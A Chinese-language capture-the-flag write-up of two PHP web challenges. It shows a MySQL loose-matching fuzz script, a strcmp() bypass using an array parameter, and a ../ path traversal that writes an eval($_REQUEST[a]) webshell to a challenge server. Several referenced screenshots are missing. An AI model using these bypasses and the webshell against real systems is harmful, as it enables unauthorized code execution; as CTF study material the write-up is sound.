XCTF兩道web題目的writeup
阿新 • • 發佈:2019-01-30
只會web正好又是php的審計題目,於是就把兩道題都做了。大牛們都忙著破各種路由器,破各種裝置去了,我也僥倖得了個第一:
第一題,沒怎麼截圖,檢視程式碼如下:
主要是考mysql的一個trick。就是查詢出來的$row['id']和$id的區別。這麼說可能有點不明白,我們用一下程式碼fuzz一下mysql:
<?php mysql_connect("localhost","root","root"); mysql_select_db ("test"); mysql_query("set names utf8"); for($i = 0 ; $i < 256 ; $i++){ $c = chr($i); $name = mysql_real_escape_string('hehe' . $c); $sql = "SELECT * FROM `name` WHERE `name` = '{$name}'"; $row = mysql_fetch_array(mysql_query($sql)); if ($row['name'] == 'hehe') { echo "{$c} <br/>"; } }
如果在name後面加上一個字元,在mysql裡查詢,如果查到的和不加這個字元查出來的行相同,則輸出。
得到了如下結果:
我們隨便挑一個跟在adog後面提交就能得到flag了。如下:
第二題,訪問pwnme.php得到如下提示:
很快就明白了是要說明在php裡===
和==
的意義不同。我記得之前一個php的trick,我猜這裡的程式碼是這樣:strcmp($_POST[password], 'xxxx')==0
。看一下php的strcmp文件就能知道:
所以傳一個password[]=xxx
即可得到如下頁面:
訪問可得到一段原始碼,yeah碰上我最愛的審計題了:
原始碼其實很簡單,就是寫入一個webshell,但檔名是跟當前秒數有關,所以大部分人想到要跑一下檔名。
當然,我這個人比較懶,能不能想個方法,不要跑這該死的檔名。
這道題沒有過濾/和../,我可以直接做跳轉,將時間作為目錄名,再用../跳轉到上個目錄,這樣我的檔案就不帶時間字首了。
當然還要讓php不出錯,試了幾次,資料包如下即可:
這樣我的shell就為:http://106.120.92.162:5000/backup/".eval($_REQUEST[a]).php
不需要跑使用者名稱。拿到shell了就讀flag即可。